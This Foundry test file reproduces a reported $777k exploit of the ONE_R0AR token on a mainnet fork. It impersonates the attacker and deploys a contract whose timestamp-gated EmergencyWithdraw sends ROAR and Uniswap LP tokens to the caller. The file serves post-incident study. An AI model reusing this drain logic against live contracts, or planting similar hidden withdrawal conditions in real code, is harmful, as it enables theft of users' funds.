src/test/2025-04/Roar_exp.sol

1pragma solidity ^0.8.10;
2 
3import "forge-std/Test.sol";
4import "../interface.sol";
5 
6// @KeyInfo - Total Lost : 777k USD
7// Attacker : 0x8149f77504007450711023cf0ec11bdd6348401f
8// Attack Contract : 
9// Vulnerable Contract : 
10// Attack Tx : https://app.blocksec.com/explorer/tx/eth/0xab2097bb3ce666493d0f76179f7206926adc8cec4ba16e88aed30c202d70c661
11 
12// @Info
13// Vulnerable Contract Code : 
14 
15// @Analysis
16// Post-mortem : https://x.com/CertiKAlert/status/1912430535999189042
17// Twitter Guy : https://x.com/CertiKAlert/status/1912430535999189042
18// Hacking God : N/A
19 
20address constant ONE_R0AR_Token = 0xb0415D55f2C87b7f99285848bd341C367FeAc1ea;
21address constant UniswapV2Pair = 0x13028E6b95520ad16898396667d1e52cB5E550Ac;
22address constant attacker = 0x8149f77504007450711023cf0eC11BDd6348401F;
23 
24contract ContractTest is Test {
25    function setUp() public {
26        vm.createSelectFork("mainnet", 22278564);
27    }
28    
29    function testPoC() public {
30        emit log_named_decimal_uint("before attack: balance of attacker", IERC20(0xb0415D55f2C87b7f99285848bd341C367FeAc1ea).balanceOf(attacker), 18);
31        emit log_named_decimal_uint("before attack: balance of attacker", IERC20(0x13028E6b95520ad16898396667d1e52cB5E550Ac).balanceOf(attacker), 18);
32        vm.startPrank(attacker, attacker);
33        AttackerC attC = new AttackerC();
34        deal(0xb0415D55f2C87b7f99285848bd341C367FeAc1ea, address(attC), 100000000099978913875247186);
35        deal(0x13028E6b95520ad16898396667d1e52cB5E550Ac, address(attC), 26777446973800063826);
36        attC.EmergencyWithdraw();
37        vm.stopPrank();
38        emit log_named_decimal_uint("after attack: balance of attacker", IERC20(0xb0415D55f2C87b7f99285848bd341C367FeAc1ea).balanceOf(attacker), 18);
39        emit log_named_decimal_uint("after attack: balance of attacker", IERC20(0x13028E6b95520ad16898396667d1e52cB5E550Ac).balanceOf(attacker), 18);
40    }
41}
42 
43contract AttackerC {
44    uint256 constant T0 = 0x67ff15af;
45    uint256 constant BIGC = 0x25aaa441b6cac9c2f49d8d012ccc517de4215e056b0f63883f8240c8e228fed1;
46    uint256 constant DEN = 365000 * 24 * 3600;
47    uint256 constant K = 35;
48    uint256 constant OFF = 61066966765;
49 
50    function EmergencyWithdraw() public {
51        if (block.timestamp >= T0) {
52            uint256 rate = BIGC / DEN;
53            if ((((block.timestamp * rate * K) - (OFF * rate)) / (rate * K)) == (block.timestamp - T0)) {
54                uint256 bal1 = IONE_R0AR_Token(ONE_R0AR_Token).balanceOf(address(this));
55                uint256 diff = (block.timestamp * rate * K) - (OFF * rate);
56                if (diff > 0) {
57                    if (bal1 < diff) {
58                        bytes memory data1 = abi.encodeWithSelector(
59                            IONE_R0AR_Token.transfer.selector,
60                            tx.origin,
61                            100000000099978910611013632
62                        );
63                        (bool ok1, bytes memory ret1) = ONE_R0AR_Token.call(data1);
64                        require(ok1 && (ret1.length == 0 || abi.decode(ret1, (bool))), "transfer1 failed");
65 
66                        IERC20(UniswapV2Pair).balanceOf(address(this));
67                        bytes memory data2 = abi.encodeWithSelector(
68                            IERC20.transfer.selector,
69                            tx.origin,
70                            26777446972437561344
71                        );
72                        (bool ok2, bytes memory ret2) = UniswapV2Pair.call(data2);
73                        require(ok2 && (ret2.length == 0 || abi.decode(ret2, (bool))), "transfer2 failed");
74                    }
75                }
76            }
77        }
78    }
79}
80 
81interface IONE_R0AR_Token {
82	function transfer(address, uint256) external returns (bool);
83	function balanceOf(address) external returns (uint256); 
84}